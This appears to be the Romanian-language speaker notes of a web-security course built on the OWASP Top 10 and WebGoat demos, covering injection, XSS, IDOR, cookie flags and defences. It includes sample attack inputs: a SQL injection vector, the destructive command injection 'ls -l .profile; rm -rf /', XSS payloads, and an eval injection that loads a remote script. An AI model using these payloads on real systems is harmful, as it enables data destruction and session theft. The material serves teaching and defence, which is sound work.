It may seem safe, but it’s not. Vrem sa vedem de ce nu e ‘safe’
Nu putem fi 100% ‘safe’ insa putem tinde catre aceasta cifra
Vom vedea exemple de atacuri, vulnerabilitati
Speram sa avem must-have security list la sf. cursului
O sa vedeme ca sistemee de securitate care nu sunt mature si testate sunt doar obstacole
Un atacator doar va ‘ocoli’ obstacolele.
Ce inseamna un API sigur si ce dezavantaje dpdv functional implica ele
Va fi intotdeauna o balanta intre functionalitate, securitate si buget
E firesc, doar blocam accesul la Services like RPC, Net-BIOS, FTP, etc. and it will never deny access to 'exposed' services
Nu ne pazeste de problemele de securitate din aplicatie. Punct.
Ba chiar mai rau. HTTPS rosu in bara de browser inseamna conexiune interceptabila. Punct.
Am copiat citatul litera cu litera
E din 2011 insa e despre NASA
OWASP – One stop shop in securitate.
Organizatie non-profit, formata din lideri si experti in domeniu
API-uri, teste de securitate automate, dummy vulnerable web-apps (WebGoat), tutoriale pentru imbunatatirea codului
Incepem cu cele mai populare 10 tipuri de atacuri.
Grupeaza 90% din atacurile potentiale insa nu vom putea intra in detaliu
Vom trece doar prin cele cu bold
Cele fara bold tin mai mult de configurare sau pur si simplu neglijenta (A6, A9)
* Consta in ‘injectarea’ un string intr-un query sau intr-o comanda externa
a.i.
acel query sau acea comanda sa intoarca un alt rezultat
sau sa faca alta actiune
Observam ca suntem conectati prin HTTPS si in spatele firewall-ului
In realitate query-ul e mult mai complicat
Si vectorul de atac (‘ or 1=1 --) e mult mai complicat
Prietenul lui cel mai bun Hibernate/JPA injection (Query-ul ar fi JPA si nu SQL)
Poate da acces la mai multe date decat este autorizat user-ul ( modifcand clauza de where )
Poate modifica date unde utilizatorul nu are acces ( modificand clauza de where intr-un update stmt )
Cel mai rau se poate adauga ‘;’ si executa un query nou
Un alt exemplu mai putin intalnit, pentru a arata ca injectia are f multe valente
Insa odata ce exista o interogare XML cu Xpath , vulnerabilitatea apare
Avem un camp de input a carui valoare va fi concatenata unei comenzi de sistem.
Va afisa rezultatul ls –l.
Voi introduce un vector de atac, si asta e rezultatul
Asta se intampla cand output-ul comenzii se afiseaza pe ecran.
In realitate nu e niciodata asa, insa poate introduce un input a.i. poate rula orice comanda !!! Cu drepturile procesului java.exe !!!
Input mai putin evident
Upload de excel ( in campurile caruia putem introduce orice
, “” )
Ls –l .profile; rm –rf /
Cel mai bun indicator al vulnerabilitatii este concatenarea string-urilor in query
Uneori ascunsa intr-un API de build al query-ului
Ca sa ne pazim
Folositi intotdeauna parametrii query-ului (PreparedStatement, Query.setParameter, etc.)
Folositi user cu drepturi restranse pentru conectarea la DB, LDAP, etc.
Rulati AppServer-ul cu un user dedicat cu drepturi restranse
Nu concatenati continut dinamic in linia de comanda ( care un bad practice oricum)
Unul dintre cele mai ‘ascunse’
Vulnerabilitatea apare atunci cand folosim input dinamic pentru a lua o referinta la un fisier de pe disc
FileInputStream, File, IOUtils
http://localhost/WebGoat/attack?Screen=57&menu=200
Dupa demo
Cum ne pazim ?
Validare de input
Nu lasa utilizatorul sa introduca o cale catre fisier ( chiar si hidden parameters )
HttpOnly & Secure flags configurabil in Servlet 3.0 prin <cookie-config> tag
Avem o aplicatie care include o resursa cu adresa absoluta
Clear jsessionid cookie from chrome://settings/cookies
Open a browser and navigate to https://localhost:8443/web-security-test/
Notice that the tomcat 7.0.27 will set by default the HttpOnly and Secure flags
BUT it will not set the secure flag if we first visit the address via a http connection
Clear jsessionid cookie from chrome://settings/cookies
Open a browser and navigate to http://localhost/web-security-test/
Notice that the image has the JSESSIONID in the request header
The rabbit hole goes much deeper.
Incarcam resurse statice din locuri mai putin evidente
JS
CSS (@import , background images, etc)
http://localhost/WebGoat/attack?Screen=20&menu=900&stage=1
Ne logam cu Tom
In campul de street introducem un <script>alert(1)</script>
Ne logam cu Jerry
Cautam dupa profilul lui Tom
!!! Nu doar tag-ul de <script> este un vector XSS. Aproape orice tag HTML are event binding actions
onmouseover,
onkeyup
Onclick
<div onmouseover=“alert(1)”/>
Executia src attribute depinde de la browser la browser
a little-known feature, some CSS implementations permit JavaScript code to be embedded in stylesheets ( ex in I.E )
Exploram putin contextele in care XSS poate aparea
<SCRIPT> tag hello User!"); console.log('attack');//
inside eval() ");var headID = document.getElementsByTagName("head")[0];
var newScript = document.createElement("script");
newScript.type = "text/javascript";
newScript.src = "http://www.somedomain.com/somescript.js";
headID.appendChild(newScript);//
2 feluri de a ne pazi :
Validare de input
Pb complicata pentru ca acel continut dinamic poate fi in foarte multe contexte
In exemplu variabila este afisata in context HTML
Insa se poate afisa in context
JS,
CSS,
atribut HTML,
cookie,
Header HTTP
Incodare output
Vom folosi API-urile ESAPI
Mai toate framework-urile incodeaza output-ul, insa nu pentru toate contextele in care apare
Un mod universal de a incoda absolut ORICE variabila
Eval() … evalueaza un string ca si cod java script.
Poate contine orice cod js valid.
Rar intalnit continut dinamic in interiorul unui eval().
DACA este totus intalnit, atunci este EXTREM de susceptibil la un XSS
Id-urile se pot ghici foarte usor.
Enumerare prin ele si poti obtine acces la date pentru care nu esti autorizat
Mai mult URL-ul se poate ghici :
http://somehost/actions/updateUser ( cu id-ul pasat ca si parametru )
http://somehost/actions/deleteUser ( cu id-ul pasat ca si parametru )
http://localhost/WebGoat/attack?Screen=20&menu=900&stage=5
Larry isi poate vedea doar propriul profil
Modificam ID-ul din option list la 110
Modificam si actiunea in DeleteProfile ( intuitiv ) si vedem ca Joane McDougal nu mai exista in lista
NU expuneti id-uril in BD. Expuneti niste randomizare ale acestora
Mai mult ca sigur id-urile respective sa fie folosite in alta parte a aplicatiei
Mai mult un atacator itereaza prin id-uri
Never trust supplied data
ANYTHING in the HTTP Request can be altered
METHOD (GET ,POST )
Query
Headers
Cookies
Etc.
Si DIGEST e doar o incodare MD5 a parolei, care poate fi f usor sparta ( mai jos )
Masina pe care se face calculul este un 8 core i7 la 3.2 Ghz ( adica un laptop bun de la emag )
Timpul este suma duratelor de timp pentru a incripta toate variantele si a compara cu string-ul tinta.
Parolele cu mix de alfa numeric si simboluri sunt enervante insa necesare
* Source: http://calc.opensecurityresearch.com/
Analizam un atac de brute-force NU unul de
Dictionar
Substitutie de caractere ( E = 3 , l =1 , etc. )
Secvente de key ( pe orizontala, pe diagonala, etc. )
Folosit rar in practica, insa folosit des de framework-uri
Demo http://localhost/web-redirect-test/admin/admin.jsp
Login 403
Go to http://localhost/web-redirect-test/forward
Go to http://localhost/web-redirect-test/include
Vom studia cele cu bold
Canonicalizarea inseamna aducerea la cea mai simpla forma de reprezentare
ESAPI are un API pentru asa ceva
Atacuri ce folosesc incodare dubla spre ex sunt complicate si nu pot fi usor prezentate
Este un ‘good practice’, eviti double encoding-urile ( care sunt forme de atac )
Daca vrei sa fii ‘mai catolic decat papa’ sau daca ai date f sensibile de protejat
Let’s give it a try.
Reflected XSS
The iframe tag will need to use the validator
Apparently javascript:console.log('x') is a valid javascript attack vector
Script tag ( encode JS )
CSS Styles ( encode for CSS )
Eval (encode for JS)
Encoding-ul este un safety-net
Un strat in plus care protejeaza de atacurile ce au trecut de restul straturilor
Incodand in felul asta poti fi sigur ca nu scapa nici un vector de atac in nici un context
In cazul in care se doreste output HTML ( forms, etc. ) insa se vrea sa fie ‘clean’.
Pentru a emula rich user content ( e.g. un document HTML), in general se foloseste MARKDOWN language ( wikis, stackoverflow, forumuri).